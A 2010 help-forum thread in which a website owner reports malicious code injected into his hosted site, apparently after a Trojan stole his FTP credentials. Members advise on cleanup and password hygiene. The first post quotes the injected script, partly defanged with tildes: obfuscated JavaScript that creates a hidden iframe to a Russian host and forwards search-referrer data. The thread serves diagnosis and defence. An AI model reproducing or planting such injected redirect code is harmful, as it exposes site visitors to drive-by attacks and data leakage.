Website Infected with Malware: imgur-com.mediaset.it.rottentomatoes

Mr. Chip · 2010/03/21

Hello,

This forum has always been helpful I was hoping someone could shed some light on a problem. A few days ago my PC was infected with a Trojan. Broni helped me to clean it up (a full day process). I checked again late last night and did a full deep scan with Malwarebytes - my PC is all clean.

Unfortunately, a website that I host at an ISP is not clean. It is possible that my PC's Trojan grabbed FTP access to my website and planted bad code. The ISP has been having some issues the past few days so the problem may not be related to my Trojan. Regardless, my website is now infected. The site appears unchanged and fully functional. The problem is every time you navigate to a new page the bottom of the browser flashes a brief message that the site is being routed/connected to some strange URL in Russia (see partial code in title).

I copied the actual code and placed it in a txt file which I attached. In the file Infection.txt I added a bunch of ~ to the start of lines 1 and 24 to hopefully prevent this code from causing any problems:

< ~~ script s~r~c
< ~~ i~f~r~a~m~e

Has anyone heard of this? What is it doing? Do you have suggestions how to get my site cleaned?

I have a level 2 support ticket at the ISP, but they have not yet responded with an answer after 12+ hours (very uncharacteristic of them - their support is usually A+++).

Thanks for your help!
Chip

P.S. Here is the code I was referring to, with tildes added after every < and throughout lines 1 and 24.

*******************

<~~s~c~r~i~p~t~ src= "~http~://~imgur-com~.mediaset.it.rottentomatoes-com.ExcellentBlender.ru:8080/cloob.com/cloob.com/google.com/opera.com/nih.gov.php" defer=" ">
Puu3cic = 'h^$!^)t)t($!p#@:^!/(/)#(i$(#m@g$u)r&&(-$@c)&o(m((^.(#m@!e))d()!i^&^!a&s)^@e)(@t@)^.((i!$#t^.!#r&$o$t$)(t^e&&n^&#t#)^o^#!m!!a&)#t$!#&o^!e)@$$s^)-@$c&@o$@&$#m!!!.$e(x!@c^)e$!(l)&l@)(e^(!n^t@b^^#l@#e(!^n!@#d!e)$r&@.@#&&r&@#u^'.replace(/\^|\!|\)|$|@|&|\$|#/ig, '');
3Y5wegt = 'Y5wegtSa7y67xu';
4O9q7hm = document.createElement('iIf(rha(m(eI'.replace(/[Iku\(h]/g, ''));
5Y5wegt = 'Y5wegtSa7y67xu';
6Sa7y67xu = '';
7G5n9dq56 = '';
8Y5wegt = document.referrer;
9function Nmjhcpe2(A4jk0ry,Q71xj0ul){
10if (Y5wegt.indexOf(A4jk0ry) != -1){
11 Sa7y67xu=A4jk0ry;
12 Vwx8wmg = Y5wegt.indexOf(Q71xj0ul+'=');
13 if (Vwx8wmg != -1){
14 G5n9dq56 = Y5wegt.substring(Vwx8wmg+2).split('&')[0];
15 }
16}
17}
18//Nmjhcpe2('google.','q');Nmjhcpe2('search.yahoo.','p');Nmjhcpe2('ask.com','q');
19
20O9q7hm.style.visibility = 'h(@^$#i(&&d$@$!d$@e@n$!!#'.replace(/&|@|\(|#|\!|\$|\^|$/ig, '');
21O9q7hm.src = Puu3cic+':28z0Q820z/2iQn2d2eQx2.7p2h7pQ?7j2a2=Q&zjQl7=z'.replace(/[zI72Q]/g, '')+Sa7y67xu+'&kl='+G5n9dq56;
22document.body.appendChild(O9q7hm);
<~/script>
<~~i~f~r~a~m~e~ style= "visibility: hidden;" src= "~http~://~imgur-com~.mediaset.it.rottentomatoes-com.excellentblender.ru:8080/index.php?ja=&jl=&kl= ">
<~html>
<~head><~/head>
<~body><~/body>
<~/html>
<~/iframe>
<~/body>

broni · 2010/03/21

I think, working with your ISP is the best option. It's a weekend time, so they may be slow.

Mr. Chip · 2010/03/21

Hi broni,

I agree - they appear to be swamped with something. I was hoping that someone here could give me an idea of what this is and tips I could pass along how to fix it.

While I have your attention, you suggested I use Malwarebytes to check for spyware. Do you suggest I replace SpyBot which I currently use with the upgraded premium version of Malwarebytes that monitors and blocks attacks? The Trojan you helped me remove the other day slipped past SpyBot. Is it OK to have both or is it like AV s/w - you only want to have one?

Chip

broni · 2010/03/21

There are no perfect security tools, but MBAM is definitely top of the line and better, than Spybot.

Fixing web page hijack is not easy and surely not possible without full access to the site's code, so you better leave it to your ISP.

Mr. Chip · 2010/03/21

OK, thanks.

TonyT · 2010/03/21

Send me a private message here of your Web site address. I will inspect the code using a non-infectable linux computer.

TonyT · 2010/03/22

After viewing the site in question:

The original script you posted is set inside a hidden <iframe> inline frame. There do not seem to be any hidden iframes on your site presently. I suggest deleting all of your temporary internet files because your browser will load the cached scripts & pages instead of the newly replaced site pages.

Google tracking uses hidden form inputs inside a hidden iframe, but these are OK.

There are security vulnerabilities in some versions of DNN that allow an unwanted party to upload files to insecure directories, which inject unwanted code onto site pages. Upgrading to most recent version of DNN is a must.

The injected code you posted uses a php file which links to movie sites in Italy, Russia and an image sharing site in the US (imgur dot com), Iranian site cloob dot com, and others. This php file is not hosted at your isp but it called from the obfuscated javascript code.

You must check EVERY directory in the server /www root and /home and /cgi-bin locations, and you MUST check all database tables for there could be malicious code that has been injected into a table which gets fed to certain site pages.

Change your passwords at any site tracking accounts, such as Google Analytics, etc.

Check all .htaccess files and change all .htpasswd passwords.

Afterwhich change all site passwords, change database passwords, etc.

But, BEFORE you do any changes to the site you will have to clean your computer(s) of malware for that's how the hackers gain access to your site. They use a trojan that steals your FTP account info (usernames & passwords). Thus any computer that has been used to FTP to the site must be checked for malware.

Read the sticky threads in the malware forums here and then post a new thread there to help get your computer(s) cleaned up.

Once cleaned up, contact your isp and get them to give you sftp or ssh2 access to the site instead of ftp. FTP is insecure because all usernames and passwords are transmitted in plain text, thus if use wifi Internet access anybody can sniff out your ftp login credentials.

Bottom Line: you are using an infected computer(s).

Mr. Chip · 2010/03/22

Tony,

Wow, the situation sounds worse than I expected! My ISP confirmed that my site is the only one blessed with this little extra code. They than ran some code that searched every file on my site and replaced the injected code with nothing. The problem seems to be gone now. You gave me some other very useful tips regarding FTP etc., that I will explore with my ISP. I will keep you posted. Thanks again!

TonyT · 2010/03/22

And be sure to check your comp for malware.

Mr. Chip · 2010/03/26

Hi broni and TonyT,

Sorry for the very delayed reply. This problem, thankfully, has been resolved. broni, can you change the status of the thread to resolved? My ISP found that malicious code was inserted into several files. They cleaned them up and I have been fine for about a week.

broni · 2010/03/26

Very well

TonyT · 2010/03/26

Don't forget to change ALL your passwords, e.g. ftp, email, banking, other, etc.

Mr. Chip · 2010/03/26

Hi Tony,

Thankfully I did not store any financial passwords in my browser. I also do not think I logged into any institution in the past week or two. Now that I am clean I will triple check.

The big pain was their hacking my FTP password and planting the code on my site. I would like to get your opinion (and other members') on password management. Kapersky recently came out with a password manager. I believe there are others. What is your opinion about using these to store passwords? Are the passwords stored in Firefox encrypted in any way?

Thanks again!
Chip

TonyT · 2010/03/27

"Mr. Chip said: ↑

Hi Tony,

Thankfully I did not store any financial passwords in my browser. I also do not think I logged into any institution in the past week or two. Now that I am clean I will triple check.

The big pain was their hacking my FTP password and planting the code on my site. I would like to get your opinion (and other members') on password management. Kapersky recently came out with a password manager. I believe there are others. What is your opinion about using these to store passwords? Are the passwords stored in Firefox encrypted in any way?

Thanks again!
Chip
Click to expand...

Passwords stored in FF are encrypted but they can be viewed as plain text right in the FF password manager.

I never store any passwords in browsers, I always uncheck "remember passwords" in browser settings.

I never used a password manager. I do store passwords in text files on a separate secured drive.

Log in or Sign up

Website Infected with Malware: imgur-com.mediaset.it.rottentomatoes

Mr. Chip Well-Known Member Thread Starter

broni Moderator Malware Analyst

Mr. Chip Well-Known Member Thread Starter

broni Moderator Malware Analyst

Mr. Chip Well-Known Member Thread Starter

TonyT SuperGeek Staff

TonyT SuperGeek Staff

Mr. Chip Well-Known Member Thread Starter

TonyT SuperGeek Staff

Mr. Chip Well-Known Member Thread Starter

broni Moderator Malware Analyst

TonyT SuperGeek Staff

Mr. Chip Well-Known Member Thread Starter

TonyT SuperGeek Staff

Share This Page

Log in or Sign up

Website Infected with Malware: imgur-com.mediaset.it.rottentomatoes

Mr. Chip Well-Known Member Thread Starter

broni Moderator Malware Analyst

Mr. Chip Well-Known Member Thread Starter

broni Moderator Malware Analyst

Mr. Chip Well-Known Member Thread Starter

TonyT SuperGeek Staff

TonyT SuperGeek Staff

Mr. Chip Well-Known Member Thread Starter

TonyT SuperGeek Staff

Mr. Chip Well-Known Member Thread Starter

broni Moderator Malware Analyst

TonyT SuperGeek Staff

Mr. Chip Well-Known Member Thread Starter

TonyT SuperGeek Staff

Share This Page

Useful Searches